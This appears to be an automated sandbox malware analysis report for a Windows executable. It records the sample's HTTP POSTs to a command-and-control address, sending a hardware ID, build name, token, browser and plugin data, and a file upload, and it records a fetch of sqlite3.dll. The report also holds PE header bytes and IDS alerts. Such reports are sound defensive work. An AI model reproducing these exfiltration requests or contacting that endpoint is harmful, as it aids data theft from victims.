00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 45.88.105.105Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e88e05dfd1bdeeb9.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CGCFCBAKKFBFIECAEBAEHost: 45.88.105.105Content-Length: 217Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 47 43 46 43 42 41 4b 4b 46 42 46 49 45 43 41 45 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 35 37 38 45 33 30 39 30 37 31 32 32 30 34 30 34 30 39 34 30 32 0d 0a 2d 2d 2d 2d 2d 2d 43 47 43 46 43 42 41 4b 4b 46 42 46 49 45 43 41 45 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 4c 6f 67 73 44 69 6c 6c 65 72 0d 0a 2d 2d 2d 2d 2d 2d 43 47 43 46 43 42 41 4b 4b 46 42 46 49 45 43 41 45 42 41 45 2d 2d 0d 0a Data Ascii: ------CGCFCBAKKFBFIECAEBAEContent-Disposition: form-data; name="hwid"9578E30907122040409402------CGCFCBAKKFBFIECAEBAEContent-Disposition: form-data; name="build"LogsDiller------CGCFCBAKKFBFIECAEBAE--
Source: global traffic	HTTP traffic detected: POST /e88e05dfd1bdeeb9.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KEBKJDBAAKJDGCBFHCFCHost: 45.88.105.105Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 45 42 4b 4a 44 42 41 41 4b 4a 44 47 43 42 46 48 43 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 30 32 33 36 34 61 38 63 35 36 63 39 39 63 65 61 33 61 35 32 30 62 65 62 33 39 37 62 65 30 65 61 34 64 33 31 62 63 30 34 38 61 61 36 30 39 30 35 34 35 64 66 30 36 63 62 35 39 32 64 65 62 34 64 35 35 62 63 36 61 32 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 42 4b 4a 44 42 41 41 4b 4a 44 47 43 42 46 48 43 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 42 4b 4a 44 42 41 41 4b 4a 44 47 43 42 46 48 43 46 43 2d 2d 0d 0a Data Ascii: ------KEBKJDBAAKJDGCBFHCFCContent-Disposition: form-data; name="token"602364a8c56c99cea3a520beb397be0ea4d31bc048aa6090545df06cb592deb4d55bc6a2------KEBKJDBAAKJDGCBFHCFCContent-Disposition: form-data; name="message"browsers------KEBKJDBAAKJDGCBFHCFC--
Source: global traffic	HTTP traffic detected: POST /e88e05dfd1bdeeb9.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDHCFIJEGCAKJJKEHJJEHost: 45.88.105.105Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 44 48 43 46 49 4a 45 47 43 41 4b 4a 4a 4b 45 48 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 30 32 33 36 34 61 38 63 35 36 63 39 39 63 65 61 33 61 35 32 30 62 65 62 33 39 37 62 65 30 65 61 34 64 33 31 62 63 30 34 38 61 61 36 30 39 30 35 34 35 64 66 30 36 63 62 35 39 32 64 65 62 34 64 35 35 62 63 36 61 32 0d 0a 2d 2d 2d 2d 2d 2d 48 44 48 43 46 49 4a 45 47 43 41 4b 4a 4a 4b 45 48 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 48 44 48 43 46 49 4a 45 47 43 41 4b 4a 4a 4b 45 48 4a 4a 45 2d 2d 0d 0a Data Ascii: ------HDHCFIJEGCAKJJKEHJJEContent-Disposition: form-data; name="token"602364a8c56c99cea3a520beb397be0ea4d31bc048aa6090545df06cb592deb4d55bc6a2------HDHCFIJEGCAKJJKEHJJEContent-Disposition: form-data; name="message"plugins------HDHCFIJEGCAKJJKEHJJE--
Source: global traffic	HTTP traffic detected: POST /e88e05dfd1bdeeb9.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DGHJEHJJDAAAKEBGCFCAHost: 45.88.105.105Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 47 48 4a 45 48 4a 4a 44 41 41 41 4b 45 42 47 43 46 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 30 32 33 36 34 61 38 63 35 36 63 39 39 63 65 61 33 61 35 32 30 62 65 62 33 39 37 62 65 30 65 61 34 64 33 31 62 63 30 34 38 61 61 36 30 39 30 35 34 35 64 66 30 36 63 62 35 39 32 64 65 62 34 64 35 35 62 63 36 61 32 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 4a 45 48 4a 4a 44 41 41 41 4b 45 42 47 43 46 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 4a 45 48 4a 4a 44 41 41 41 4b 45 42 47 43 46 43 41 2d 2d 0d 0a Data Ascii: ------DGHJEHJJDAAAKEBGCFCAContent-Disposition: form-data; name="token"602364a8c56c99cea3a520beb397be0ea4d31bc048aa6090545df06cb592deb4d55bc6a2------DGHJEHJJDAAAKEBGCFCAContent-Disposition: form-data; name="message"fplugins------DGHJEHJJDAAAKEBGCFCA--
Source: global traffic	HTTP traffic detected: POST /e88e05dfd1bdeeb9.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJECAEHJJJKJKFIDGCBGHost: 45.88.105.105Content-Length: 5935Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /caf2400fcdb97982/sqlite3.dll HTTP/1.1Host: 45.88.105.105Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e88e05dfd1bdeeb9.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DGIJECGDGCBKECAKFBGCHost: 45.88.105.105Content-Length: 991Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e88e05dfd1bdeeb9.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHDGIJJDGCBKFIDHIEBKHost: 45.88.105.105Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 48 44 47 49 4a 4a 44 47 43 42 4b 46 49 44 48 49 45 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 30 32 33 36 34 61 38 63 35 36 63 39 39 63 65 61 33 61 35 32 30 62 65 62 33 39 37 62 65 30 65 61 34 64 33 31 62 63 30 34 38 61 61 36 30 39 30 35 34 35 64 66 30 36 63 62 35 39 32 64 65 62 34 64 35 35 62 63 36 61 32 0d 0a 2d 2d 2d 2d 2d 2d 45 48 44 47 49 4a 4a 44 47 43 42 4b 46 49 44 48 49 45 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 48 44 47 49 4a 4a 44 47 43 42 4b 46 49 44 48 49 45 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 45 48 44 47 49 4a 4a 44 47 43 42 4b 46 49 44 48 49 45 42 4b 2d 2d 0d 0a Data Ascii: ------EHDGIJJDGCBKFIDHIEBKContent-Disposition: form-data; name="token"602364a8c56c99cea3a520beb397be0ea4d31bc048aa6090545df06cb592deb4d55bc6a2------EHDGIJJDGCBKFIDHIEBKContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------EHDGIJJDGCBKFIDHIEBKContent-Disposition: form-data; name="file"------EHDGIJJDGCBKFIDHIEBK--

Source: Joe Sandbox View

IP Address: 239.255.255.250 239.255.255.250

Source: Joe Sandbox View

ASN Name: ON-LINE-DATAServerlocation-NetherlandsDrontenNL ON-LINE-DATAServerlocation-NetherlandsDrontenNL

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: Network traffic

Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49709 -> 45.88.105.105:80

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.105.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.105.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.105.105
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.105.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.105.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.105.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.105.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.105.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.105.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.105.105
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.105.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.105.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.105.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.105.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.105.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.105.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.105.105
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.105.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.105.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.105.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.105.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.105.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.105.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.105.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.105.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.105.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.105.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.105.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.105.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.105.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.105.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.105.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.105.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.105.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.105.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.88.105.105

Source: C:\Users\user\Desktop\I43xo3KKfS.exe

Code function: 0_2_00405000 GetProcessHeap,RtlAllocateHeap,InternetOpenA,InternetOpenUrlA,InternetReadFile,memcpy,InternetCloseHandle,InternetCloseHandle,

0_2_00405000

Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1Host: apis.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
